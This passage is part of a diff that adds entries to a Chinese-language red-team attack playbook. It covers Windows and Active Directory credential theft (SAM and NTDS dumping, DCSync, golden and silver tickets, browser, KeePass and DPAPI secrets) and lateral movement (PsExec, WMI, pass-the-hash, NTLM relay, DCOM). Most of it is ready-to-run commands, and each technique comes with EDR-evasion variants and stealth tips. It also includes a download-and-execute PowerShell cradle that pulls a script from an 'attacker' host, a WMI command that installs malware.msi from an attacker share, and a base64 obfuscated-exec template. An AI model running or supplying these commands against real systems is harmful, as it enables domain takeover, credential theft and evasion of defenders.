+ hashcat -m 18200 asrep.hash wordlist.txt
188
+ ```
189
+
190
+ **分析:** AS-REP Roasting可以获取禁用Pre-auth用户的哈希,离线破解后得到明文密码。
191
+
192
+ **OPSEC:** 不需要任何凭证;只需要用户名;禁用Pre-auth是错误配置
193
+
194
+ ---
195
+
196
+ ### LaZagne凭证抓取 `lazagne-creds`
197
+ 使用LaZagne抓取各种应用程序凭证
198
+ 子类:**工具** · tags: `lazagne` `credentials` `browsers` `applications`
199
+
200
+ **前置条件:** 目标机器访问权限;LaZagne工具
201
+
202
+ **攻击链:**
203
+
204
+ **1. 抓取所有凭证** _[windows]_
205
+ _抓取所有支持的凭证_
206
+ ```
207
+ laZagne.exe all
208
+ ```
209
+
210
+ **2. 浏览器凭证** _[windows]_
211
+ _抓取浏览器保存的密码_
212
+ ```
213
+ laZagne.exe browsers
214
+ ```
215
+
216
+ **3. WiFi凭证** _[windows]_
217
+ _抓取WiFi密码_
218
+ ```
219
+ laZagne.exe wifi
220
+ ```
221
+
222
+ **4. 邮件客户端** _[windows]_
223
+ _抓取邮件客户端密码_
224
+ ```
225
+ laZagne.exe mails
226
+ ```
227
+
228
+ **5. 数据库凭证** _[windows]_
229
+ _抓取数据库客户端密码_
230
+ ```
231
+ laZagne.exe databases
232
+ ```
233
+
234
+ **6. Linux版本** _[linux]_
235
+ _Linux版本抓取_
236
+ ```
237
+ python laZagne.py all
238
+ ```
239
+
240
+ **EDR 绕过变体:**
241
+
242
+ **1. 混淆执行**
243
+ _Base64编码执行_
244
+ ```
245
+ python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))"
246
+ ```
247
+
248
+ **分析:** LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。
249
+
250
+ **OPSEC:** LaZagne会被杀软检测;考虑使用混淆或内存加载;可以只运行特定模块
251
+
252
+ ---
253
+
254
+ ### SAM数据库导出 `sam-dump`
255
+ 导出Windows SAM数据库获取本地账户哈希
256
+ 子类:**SAM** · tags: `sam` `hash` `windows` `local`
257
+
258
+ **前置条件:** 管理员权限;Windows系统
259
+
260
+ **攻击链:**
261
+
262
+ **1. reg导出** _[windows]_
263
+ _导出SAM和SYSTEM配置单元_
264
+ ```
265
+ reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
266
+ ```
267
+
268
+ **2. Impacket解析** _[linux]_
269
+ _使用Impacket解析SAM_
270
+ ```
271
+ secretsdump.py -sam sam.hive -system system.hive LOCAL
272
+ ```
273
+
274
+ **3. Mimikatz导出** _[windows]_
275
+ _使用Mimikatz导出SAM_
276
+ ```
277
+ mimikatz.exe "lsadump::sam" "exit"
278
+ ```
279
+
280
+ **4. Volume Shadow Copy** _[windows]_
281
+ _从卷影副本复制SAM_
282
+ ```
283
+ vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive
284
+ ```
285
+
286
+ **分析:** SAM数据库包含本地账户的NTLM哈希,可以用于破解或Pass-the-Hash。
287
+
288
+ **OPSEC:** 需要管理员权限;操作注册表可能触发告警;卷影副本方法更隐蔽
289
+
290
+ ---
291
+
292
+ ### NTDS.dit导出 `ntds-dump`
293
+ 导出Active Directory数据库获取所有域用户哈希
294
+ 子类:**NTDS** · tags: `ntds` `active-directory` `hash` `domain`
295
+
296
+ **前置条件:** 域管理员权限;域控制器访问权限
297
+
298
+ **攻击链:**
299
+
300
+ **1. ntdsutil快照** _[windows]_
301
+ _使用ntdsutil创建IFM快照_
302
+ ```
303
+ ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit"
304
+ ```
305
+
306
+ **2. Volume Shadow Copy** _[windows]_
307
+ _从卷影副本复制NTDS.dit_
308
+ ```
309
+ vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
310
+ ```
311
+
312
+ **3. Impacket解析** _[linux]_
313
+ _使用Impacket解析NTDS.dit_
314
+ ```
315
+ secretsdump.py -ntds ntds.dit -system system.hive LOCAL
316
+ ```
317
+
318
+ **4. Impacket远程转储** _[linux]_
319
+ _远程转储域哈希_
320
+ ```
321
+ secretsdump.py domain/admin:password@dc_ip -just-dc
322
+ ```
323
+
324
+ **5. Mimikatz DCSync** _[windows]_
325
+ _使用DCSync同步所有哈希_
326
+ ```
327
+ mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
328
+ ```
329
+
330
+ **分析:** NTDS.dit包含域内所有用户的哈希,可以用于破解或Pass-the-Hash。
331
+
332
+ **OPSEC:** 需要域管理员权限;DCSync方法更隐蔽;操作可能触发大量告警
333
+
334
+ ---
335
+
336
+ ### GPP密码提取 `gpp-password`
337
+ 提取组策略首选项中的密码
338
+ 子类:**GPP** · tags: `gpp` `group-policy` `password` `xml`
339
+
340
+ **前置条件:** 域环境;任意域用户凭证
341
+
342
+ **攻击链:**
343
+
344
+ **1. 查找GPP文件** _[linux]_
345
+ _查找SYSVOL中的XML文件_
346
+ ```
347
+ find /domain/sysvol -name "*.xml" 2>/dev/null
348
+ ```
349
+
350
+ **2. PowerShell查找** _[windows]_
351
+ _PowerShell查找GPP文件_
352
+ ```
353
+ Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"}
354
+ ```
355
+
356
+ **3. PowerView提取** _[windows]_
357
+ _使用PowerView提取GPP密码_
358
+ ```
359
+ Get-NetGPPPassword
360
+ ```
361
+
362
+ **4. gpp-decrypt** _[linux]_
363
+ _解密GPP密码哈希_
364
+ ```
365
+ gpp-decrypt HASH
366
+ ```
367
+
368
+ **5. Impacket提取** _[linux]_
369
+ _使用Impacket提取GPP密码_
370
+ ```
371
+ Get-GPPPassword.py domain/user:password@dc_ip
372
+ ```
373
+
374
+ **分析:** GPP密码使用公开的密钥加密,可以被解密获取明文密码。
375
+
376
+ **OPSEC:** GPP密码是常见的信息泄露点;只需要普通域用户权限;MS14-025修复后新密码不会被存储
377
+
378
+ ---
379
+
380
+ ### Mimikatz高级技巧 `mimikatz-advanced`
381
+ Mimikatz高级凭证提取和利用技术
382
+ 子类:**Mimikatz** · tags: `mimikatz` `credentials` `advanced`
383
+
384
+ **前置条件:** 管理员权限;Mimikatz工具
385
+
386
+ **攻击链:**
387
+
388
+ **1. DCSync攻击** _[windows]_
389
+ _模拟DC同步获取域管哈希_
390
+ ```
391
+ lsadump::dcsync /domain:domain.com /user:Administrator
392
+ ```
393
+
394
+ **2. 黄金票据生成** _[windows]_
395
+ _生成黄金票据并注入_
396
+ ```
397
+ kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
398
+ ```
399
+
400
+ **3. 白银票据生成** _[windows]_
401
+ _生成白银票据访问特定服务_
402
+ ```
403
+ kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
404
+ ```
405
+
406
+ **4. Skeleton Key植入** _[windows]_
407
+ _植入万能密码mimikatz_
408
+ ```
409
+ privilege::debug
410
+ misc::skeleton
411
+ ```
412
+
413
+ ---
414
+
415
+ ### 浏览器凭证提取 `browser-creds`
416
+ 从浏览器中提取保存的密码和Cookie
417
+ 子类:**浏览器** · tags: `browser` `credentials` `chrome` `firefox`
418
+
419
+ **前置条件:** 用户权限;浏览器已保存密码
420
+
421
+ **攻击链:**
422
+
423
+ **1. Chrome密码提取** _[windows]_
424
+ _复制Chrome登录数据库_
425
+ ```
426
+ Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data"
427
+ ```
428
+
429
+ **2. Chrome Cookie提取** _[windows]_
430
+ _复制Chrome Cookie数据库_
431
+ ```
432
+ Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies"
433
+ ```
434
+
435
+ **3. 使用SharpWeb** _[windows]_
436
+ _使用SharpWeb提取浏览器凭证_
437
+ ```
438
+ SharpWeb.exe --browser chrome
439
+ ```
440
+
441
+ **4. 使用HackBrowserData**
442
+ _提取Chrome所有数据_
443
+ ```
444
+ hack-browser-data.exe -b chrome
445
+ ```
446
+
447
+ ---
448
+
449
+ ### DPAPI凭证提取 `dpapi-creds`
450
+ 从DPAPI保护存储中提取凭证
451
+ 子类:**DPAPI** · tags: `dpapi` `credentials` `windows`
452
+
453
+ **前置条件:** 用户权限;DPAPI master key
454
+
455
+ **攻击链:**
456
+
457
+ **1. 枚举DPAPI凭据** _[windows]_
458
+ _查找DPAPI保护的凭据文件_
459
+ ```
460
+ Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force
461
+ ```
462
+
463
+ **2. 使用Mimikatz解密** _[windows]_
464
+ _解密DPAPI凭据_
465
+ ```
466
+ dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX
467
+ ```
468
+
469
+ **3. 获取Master Key** _[windows]_
470
+ _从内存获取DPAPI master key_
471
+ ```
472
+ sekurlsa::dpapi
473
+ ```
474
+
475
+ ---
476
+
477
+ ### RDP凭证提取 `rdp-creds`
478
+ 提取保存的RDP连接密码
479
+ 子类:**RDP** · tags: `rdp` `credentials` `windows`
480
+
481
+ **前置条件:** 用户权限;已保存RDP密码
482
+
483
+ **攻击链:**
484
+
485
+ **1. 查找RDP文件** _[windows]_
486
+ _查找RDP连接文件_
487
+ ```
488
+ Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse
489
+ ```
490
+
491
+ **2. 提取RDP密码** _[windows]_
492
+ _列出保存的凭据_
493
+ ```
494
+ cmdkey /list
495
+ ```
496
+
497
+ **3. 使用Mimikatz** _[windows]_
498
+ _解密RDP保存的密码_
499
+ ```
500
+ dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX
501
+ ```
502
+
503
+ ---
504
+
505
+ ### WiFi凭证提取 `wifi-creds`
506
+ 提取保存的WiFi密码
507
+ 子类:**WiFi** · tags: `wifi` `credentials` `windows`
508
+
509
+ **前置条件:** 管理员权限;已连接WiFi
510
+
511
+ **攻击链:**
512
+
513
+ **1. 列出WiFi配置文件** _[windows]_
514
+ _显示所有WiFi配置文件_
515
+ ```
516
+ netsh wlan show profiles
517
+ ```
518
+
519
+ **2. 提取WiFi密码** _[windows]_
520
+ _显示WiFi密码_
521
+ ```
522
+ netsh wlan show profile name="WiFi_Name" key=clear
523
+ ```
524
+
525
+ ---
526
+
527
+ ### Windows Vault凭证 `vault-creds`
528
+ 从Windows凭据管理器提取凭证
529
+ 子类:**Vault** · tags: `vault` `credentials` `windows`
530
+
531
+ **前置条件:** 用户权限;已保存凭据
532
+
533
+ **攻击链:**
534
+
535
+ **1. 列出Vault凭据** _[windows]_
536
+ _列出所有Vault_
537
+ ```
538
+ vaultcmd /list
539
+ ```
540
+
541
+ **2. 导出Vault凭据** _[windows]_
542
+ _列出Windows凭据_
543
+ ```
544
+ vaultcmd /listcreds:"Windows Credentials" /all
545
+ ```
546
+
547
+ **3. 使用Mimikatz** _[windows]_
548
+ _从内存提取凭据管理器密码_
549
+ ```
550
+ sekurlsa::credman
551
+ ```
552
+
553
+ ---
554
+
555
+ ### KeePass凭证提取 `keepass-dump`
556
+ 从KeePass数据库提取密码
557
+ 子类:**KeePass** · tags: `keepass` `credentials` `password-manager`
558
+
559
+ **前置条件:** KeePass数据库文件;主密码或内存转储
560
+
561
+ **攻击链:**
562
+
563
+ **1. 查找KeePass数据库** _[windows]_
564
+ _搜索KeePass数据库文件_
565
+ ```
566
+ Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
567
+ ```
568
+
569
+ **2. 内存提取主密码** _[windows]_
570
+ _从KeePass进程内存提取_
571
+ ```
572
+ 使用KeePassDump或KeeThief从内存提取主密码
573
+ ```
574
+
575
+ **3. 使用KeeThief** _[windows]_
576
+ _PowerShell提取KeePass密码_
577
+ ```
578
+ powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw # security-allowlist: SEC005
579
+ ```
580
+
581
+ ---
582
+
583
+ ### LSA Secrets提取 `lsa-secrets`
584
+ 从LSA Secrets提取敏感数据
585
+ 子类:**LSA** · tags: `lsa` `secrets` `windows`
586
+
587
+ **前置条件:** SYSTEM权限
588
+
589
+ **攻击链:**
590
+
591
+ **1. 使用Mimikatz** _[windows]_
592
+ _提取LSA Secrets_
593
+ ```
594
+ lsadump::secrets
595
+ ```
596
+
597
+ **2. 使用reg save** _[windows]_
598
+ _导出注册表hive离线分析_
599
+ ```
600
+ reg save HKLM\SECURITY security.hive
601
+ reg save HKLM\SYSTEM system.hive
602
+ ```
603
+
604
+ **3. 使用Impacket** _[linux]_
605
+ _离线提取LSA Secrets_
606
+ ```
607
+ secretsdump.py -security security.hive -system system.hive LOCAL
608
+ ```
609
+
610
+ ---
611
+
612
+ ### 缓存凭证提取 `cached-creds`
613
+ 提取域缓存凭证
614
+ 子类:**缓存** · tags: `cached` `credentials` `domain`
615
+
616
+ **前置条件:** SYSTEM权限;域环境
617
+
618
+ **攻击链:**
619
+
620
+ **1. 使用Mimikatz** _[windows]_
621
+ _提取缓存域凭证_
622
+ ```
623
+ lsadump::cache
624
+ ```
625
+
626
+ **2. 使用reg save** _[windows]_
627
+ _导出SECURITY hive_
628
+ ```
629
+ reg save HKLM\SECURITY security.hive
630
+ ```
631
+
632
+ **3. 离线破解** _[linux]_
633
+ _缓存凭证可离线破解_
634
+ ```
635
+ 使用hashcat破解缓存的域凭证
636
+ ```
637
+
638
+ ---
639
+
640
+ ### DCSync攻击 `dcsync-attack`
641
+ 模拟域控制器同步获取凭证
642
+ 子类:**域渗透** · tags: `dcsync` `domain-controller` `mimikatz`
643
+
644
+ **前置条件:** 域管理员权限或特定权限
645
+
646
+ **攻击链:**
647
+
648
+ **1. 使用Mimikatz** _[windows]_
649
+ _使用Mimikatz执行DCSync_
650
+ ```
651
+ mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator
652
+ ```
653
+
654
+ **2. 使用impacket** _[linux]_
655
+ _使用impacket执行DCSync_
656
+ ```
657
+ python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip
658
+ ```
659
+
660
+ **3. 导出所有哈希** _[windows]_
661
+ _导出域内所有用户哈希_
662
+ ```
663
+ mimikatz # lsadump::dcsync /domain:domain.com /all /csv
664
+ ```
665
+
666
+ **4. 权限要求**
667
+ _DCSync所需权限_
668
+ ```
669
+ 需要以下权限之一:
670
+ - Domain Admin
671
+ - Enterprise Admin
672
+ - 复制目录更改权限
673
+ ```
674
+
675
+ ---
676
+
677
+ ### 黄金票据攻击 `golden-ticket`
678
+ 使用krbtgt哈希生成黄金票据
679
+ 子类:**域持久化** · tags: `golden-ticket` `krbtgt` `kerberos`
680
+
681
+ **前置条件:** krbtgt账户哈希;域SID
682
+
683
+ **攻击链:**
684
+
685
+ **1. 获取krbtgt哈希** _[windows]_
686
+ _获取krbtgt账户哈希_
687
+ ```
688
+ mimikatz # lsadump::lsa /inject /name:krbtgt
689
+ ```
690
+
691
+ **2. 获取域SID** _[windows]_
692
+ _获取域SID_
693
+ ```
694
+ whoami /user
695
+ 或: wmic useraccount get sid
696
+ ```
697
+
698
+ **3. 生成黄金票据** _[windows]_
699
+ _生成并注入黄金票据_
700
+ ```
701
+ mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
702
+ ```
703
+
704
+ **4. 验证票据** _[windows]_
705
+ _验证黄金票据是否有效_
706
+ ```
707
+ klist
708
+ 或: dir \\dc.domain.com\c$
709
+ ```
710
+
711
+ ---
712
+
713
+ ### 白银票据攻击 `silver-ticket`
714
+ 使用服务账户哈希生成白银票据
715
+ 子类:**域持久化** · tags: `silver-ticket` `kerberos` `service`
716
+
717
+ **前置条件:** 服务账户哈希;域SID
718
+
719
+ **攻击链:**
720
+
721
+ **1. 获取服务哈希** _[windows]_
722
+ _获取服务账户哈希_
723
+ ```
724
+ mimikatz # sekurlsa::logonpasswords
725
+ 寻找服务账户NTLM哈希
726
+ ```
727
+
728
+ **2. 生成白银票据** _[windows]_
729
+ _生成针对特定服务的票据_
730
+ ```
731
+ mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt
732
+ ```
733
+
734
+ **3. 常见服务类型**
735
+ _可伪造的服务类型_
736
+ ```
737
+ CIFS - 文件共享
738
+ HTTP - Web服务
739
+ LDAP - 目录服务
740
+ MSSQLSvc - SQL服务
741
+ HOST - 远程管理
742
+ ```
743
+
744
+ ---
745
+
746
+ ### 无人值守安装凭证提取 `unattended-creds`
747
+ 从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证
748
+ 子类:**文件凭证** · tags: `credentials` `unattend` `sysprep` `privilege-escalation` `windows`
749
+
750
+ **前置条件:** 本地文件系统读取权限;目标使用过无人值守部署
751
+
752
+ **攻击链:**
753
+
754
+ **1. 搜索无人值守安装文件** _[windows]_
755
+ _在默认路径搜索Unattend/Sysprep配置文件,这些文件在Windows自动部署后可能残留在系统中_
756
+ ```
757
+ dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul
758
+ ```
759
+
760
+ **2. 全盘搜索Unattend文件** _[windows]_
761
+ _当默认路径找不到时,全盘递归搜索所有可能的无人值守文件_
762
+ ```
763
+ # CMD方式
764
+ dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul
765
+
766
+ # PowerShell方式
767
+ Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName
768
+ ```
769
+
770
+ **3. 提取明文密码** _[windows]_
771
+ _从Unattend.xml中提取密码字段,密码可能以明文或Base64编码形式存储在<Password>/<AdminPassword>/<AutoLogon>节点中_
772
+ ```
773
+ # 查看文件内容
774
+ type C:\Windows\Panther\Unattend.xml
775
+
776
+ # 关键字段搜索
777
+ findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml
778
+
779
+ # PowerShell提取
780
+ [xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml
781
+ $xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value }
782
+ ```
783
+
784
+ **4. 解码Base64密码** _[windows]_
785
+ _Unattend.xml中的密码如果以Base64编码存储,需要解码。Windows使用UTF-16LE编码,因此必须用Unicode解码而非ASCII_
786
+ ```
787
+ # PowerShell解码Base64
788
+ $encoded = "QQBkAG0AaQBuAEAAMQAyADMA" # 从XML提取的编码值
789
+ [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
790
+
791
+ # 或者使用certutil
792
+ echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt
793
+ certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt
794
+ type C:\temp\decoded.txt
795
+ ```
796
+
797
+ **5. 检查其他敏感安装文件** _[windows]_
798
+ _除Unattend.xml外,其他位置也可能存储明文凭证_
799
+ ```
800
+ # 检查GPP(Group Policy Preferences)密码
801
+ findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul
802
+
803
+ # 检查IIS配置文件
804
+ type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password"
805
+
806
+ # 检查VNC密码文件
807
+ reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
808
+ reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul
809
+
810
+ # 检查WiFi密码
811
+ netsh wlan show profiles
812
+ netsh wlan show profile name="目标WiFi" key=clear
813
+ ```
814
+
815
+ **6. 使用Metasploit自动化** _[windows]_
816
+ _使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证_
817
+ ```
818
+ # Metasploit模块
819
+ use post/windows/gather/enum_unattend
820
+ set SESSION 1
821
+ run
822
+
823
+ # 也可以使用
824
+ use post/multi/gather/firefox_creds
825
+ use post/windows/gather/credentials/gpp
826
+ use post/windows/gather/cachedump
827
+ ```
828
+
829
+ **EDR 绕过变体:**
830
+
831
+ **1. 绕过文件访问监控** _[windows]_
832
+ _通过卷影副本或流式读取绕过文件访问监控_
833
+ ```
834
+ # 使用Volume Shadow Copy读取被锁定的文件
835
+ vssadmin create shadow /for=C:
836
+ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml
837
+
838
+ # 使用PowerShell流式读取避免文件锁
839
+ [IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml")
840
+ ```
841
+
842
+ **分析:** 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的<UserAccounts>/<AutoLogon>节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见,因为IT部门经常忽略部署后清理这些文件。
843
+
844
+ **OPSEC:** 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。
845
+
846
+ ---
847
+
848
+
849
+ ## 横向移动
850
+
851
+ ### PsExec横向移动 `lateral-psexec`
852
+ 使用PsExec进行横向移动
853
+ 子类:**SMB** · tags: `psexec` `lateral` `smb` `windows`
854
+
855
+ **前置条件:** 目标机器开放445端口;拥有目标机器管理员凭证;ADMIN$共享可访问
856
+
857
+ **攻击链:**
858
+
859
+ **1. 基本使用** _[linux]_
860
+ _使用Impacket的psexec.py连接目标_
861
+ ```
862
+ psexec.py domain/user:password@target_ip
863
+ ```
864
+
865
+ **2. 使用哈希连接** _[linux]_
866
+ _使用NTLM哈希进行Pass-the-Hash_
867
+ ```
868
+ psexec.py -hashes :NTLM_HASH domain/user@target_ip
869
+ ```
870
+
871
+ **3. 执行命令** _[linux]_
872
+ _在目标机器执行命令_
873
+ ```
874
+ psexec.py domain/user:password@target_ip "whoami"
875
+ ```
876
+
877
+ **4. Windows PsExec** _[windows]_
878
+ _使用Sysinternals PsExec_
879
+ ```
880
+ PsExec.exe \\target_ip -u domain\user -p password cmd.exe
881
+ ```
882
+
883
+ **EDR 绕过变体:**
884
+
885
+ **1. 自定义服务名**
886
+ _使用自定义服务名避免检测_
887
+ ```
888
+ psexec.py -service-name CustomService domain/user:password@target_ip
889
+ ```
890
+
891
+ **2. SMBExec替代**
892
+ _使用smbexec.py,不写入磁盘_
893
+ ```
894
+ smbexec.py domain/user:password@target_ip
895
+ ```
896
+
897
+ **分析:** PsExec通过SMB协议在目标机器创建服务并执行命令,成功后可获得目标机器的Shell。
898
+
899
+ **OPSEC:** PsExec会在目标机器创建服务,容易被检测;服务名称和二进制文件可能触发告警;考虑使用更隐蔽的横向移动方式
900
+
901
+ ---
902
+
903
+ ### WMI横向移动 `lateral-wmi`
904
+ 使用WMI进行横向移动
905
+ 子类:**WMI** · tags: `wmi` `lateral` `windows` `remote`
906
+
907
+ **前置条件:** 目标机器开放135端口;拥有目标机器管理员凭证;WMI服务可访问
908
+
909
+ **攻击链:**
910
+
911
+ **1. WMI执行命令** _[windows]_
912
+ _使用WMIC远程执行命令_
913
+ ```
914
+ wmic /node:target_ip /user:domain\user /password:pass process call create "cmd.exe /c whoami"
915
+ ```
916
+
917
+ **2. Impacket wmiexec** _[linux]_
918
+ _使用Impacket的wmiexec.py_
919
+ ```
920
+ wmiexec.py domain/user:password@target_ip
921
+ ```
922
+
923
+ **3. 使用哈希** _[linux]_
924
+ _Pass-the-Hash通过WMI_
925
+ ```
926
+ wmiexec.py -hashes :NTLM_HASH domain/user@target_ip
927
+ ```
928
+
929
+ **4. PowerShell WMI** _[windows]_
930
+ _使用PowerShell WMI_
931
+ ```
932
+ Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target_ip -Credential $cred
933
+ ```
934
+
935
+ **EDR 绕过变体:**
936
+
937
+ **1. WMI事件订阅**
938
+ _通过WMI安装MSI包执行代码_
939
+ ```
940
+ wmic /node:target_ip /user:domain\user /password:pass path win32_product call install /package:"\\attacker\share\malware.msi"
941
+ ```
942
+
943
+ **分析:** WMI横向移动不会在目标机器创建服务,相对PsExec更隐蔽。
944
+
945
+ **OPSEC:** WMI执行不会留下明显的文件痕迹;但WMI活动可能被监控;命令输出通过临时文件获取
946
+
947
+ ---
948
+
949
+ ### Pass-the-Hash攻击 `pass-the-hash`
950
+ 使用NTLM哈希进行身份验证
951
+ 子类:**认证攻击** · tags: `pth` `ntlm` `hash` `authentication`
952
+
953
+ **前置条件:** 获取用户NTLM哈希;目标机器允许NTLM认证;目标机器开放SMB/WMI端口
954
+
955
+ **攻击链:**
956
+
957
+ **1. Impacket PtH** _[linux]_
958
+ _使用Impacket进行PtH_
959
+ ```
960
+ psexec.py -hashes :NTHASH domain/user@target_ip
961
+ ```
962
+
963
+ **2. CrackMapExec PtH** _[linux]_
964
+ _使用CrackMapExec进行PtH_
965
+ ```
966
+ crackmapexec smb target_ip -u user -H NTHASH -d domain
967
+ ```
968
+
969
+ **3. Windows PtH** _[windows]_
970
+ _使用Mimikatz进行PtH_
971
+ ```
972
+ sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH
973
+ ```
974
+
975
+ **4. PowerShell PtH** _[windows]_
976
+ _使用PowerShell进行PtH_
977
+ ```
978
+ Invoke-SMBClient -Domain domain -User user -Hash NTHASH -Target target_ip
979
+ ```
980
+
981
+ **EDR 绕过变体:**
982
+
983
+ **1. Overpass-the-Hash**
984
+ _将哈希转换为Kerberos票据_
985
+ ```
986
+ sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH /run:cmd.exe
987
+ ```
988
+
989
+ **分析:** PtH成功后可以该用户身份访问目标机器,无需明文密码。
990
+
991
+ **OPSEC:** PtH不会产生登录日志中的密码验证;但会留下网络登录日志;注意时间戳和来源IP
992
+
993
+ ---
994
+
995
+ ### NTLM Relay攻击 `ntlm-relay`
996
+ NTLM中继攻击技术
997
+ 子类:**认证攻击** · tags: `ntlm` `relay` `smb` `authentication`
998
+
999
+ **前置条件:** 目标机器开放SMB端口;目标机器未启用SMB签名;可诱导目标机器认证
1000
+
1001
+ **攻击链:**
1002
+
1003
+ **1. Responder监听** _[linux]_
1004
+ _启动Responder监听NTLM认证_
1005
+ ```
1006
+ responder -I eth0 -wrf
1007
+ ```
1008
+
1009
+ **2. ntlmrelayx攻击** _[linux]_
1010
+ _使用ntlmrelayx进行中继攻击_
1011
+ ```
1012
+ ntlmrelayx.py -tf targets.txt -smb2support
1013
+ ```
1014
+
1015
+ **3. 中继到LDAP** _[linux]_
1016
+ _中继到LDAP进行权限提升_
1017
+ ```
1018
+ ntlmrelayx.py -t ldap://dc_ip -smb2support --escalate-user user
1019
+ ```
1020
+
1021
+ **4. IPv6中继** _[linux]_
1022
+ _使用IPv6进行NTLM中继_
1023
+ ```
1024
+ mitm6 -d domain.com & ntlmrelayx.py -t ldap://dc_ip -wh attacker_ip
1025
+ ```
1026
+
1027
+ **EDR 绕过变体:**
1028
+
1029
+ **1. Drop the MIC**
1030
+ _移除MIC标志绕过签名验证_
1031
+ ```
1032
+ ntlmrelayx.py -t smb://target --remove-mic
1033
+ ```
1034
+
1035
+ **分析:** NTLM Relay成功后可以获取目标机器的访问权限或提升域权限。
1036
+
1037
+ **OPSEC:** 需要目标机器未启用SMB签名;域控制器默认启用签名;IPv6中继更隐蔽
1038
+
1039
+ ---
1040
+
1041
+ ### WinRM横向移动 `lateral-winrm`
1042
+ 通过WinRM进行横向移动
1043
+ 子类:**WinRM** · tags: `winrm` `lateral` `powershell`
1044
+
1045
+ **前置条件:** WinRM启用;有效凭证
1046
+
1047
+ **攻击链:**
1048
+
1049
+ **1. PowerShell远程** _[windows]_
1050
+ _PowerShell远程会话_
1051
+ ```
1052
+ Enter-PSSession -ComputerName target -Credential $cred
1053
+ ```
1054
+
1055
+ **2. 执行命令** _[windows]_
1056
+ _远程执行命令_
1057
+ ```
1058
+ Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred
1059
+ ```
1060
+
1061
+ **3. evil-winrm** _[linux]_
1062
+ _使用evil-winrm连接_
1063
+ ```
1064
+ evil-winrm -i target -u user -p password
1065
+ ```
1066
+
1067
+ ---
1068
+
1069
+ ### DCOM横向移动 `lateral-dcom`
1070
+ 通过DCOM进行横向移动
1071
+ 子类:**DCOM** · tags: `dcom` `lateral` `com`
1072
+
1073
+ **前置条件:** DCOM启用;有效凭证
1074
+
1075
+ **攻击链:**
1076
+
1077
+ **1. MMC20.Application** _[windows]_
1078
+ _通过MMC DCOM执行命令_
1079
+ ```
1080
+ $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target"))
1081
+ $com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami","7")
1082
+ ```
1083
+
1084
+ **2. ShellBrowserWindow** _[windows]_
1085
+ _通过ShellBrowserWindow执行_
1086
+ ```
1087
+ $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","target"))
1088
+ $com.Document.Application.ShellExecute("cmd.exe","/c whoami","c:\windows\system32",$null,0)
1089
+ ```
1090
+
1091
+ **3. Excel DCOM** _[windows]_
1092
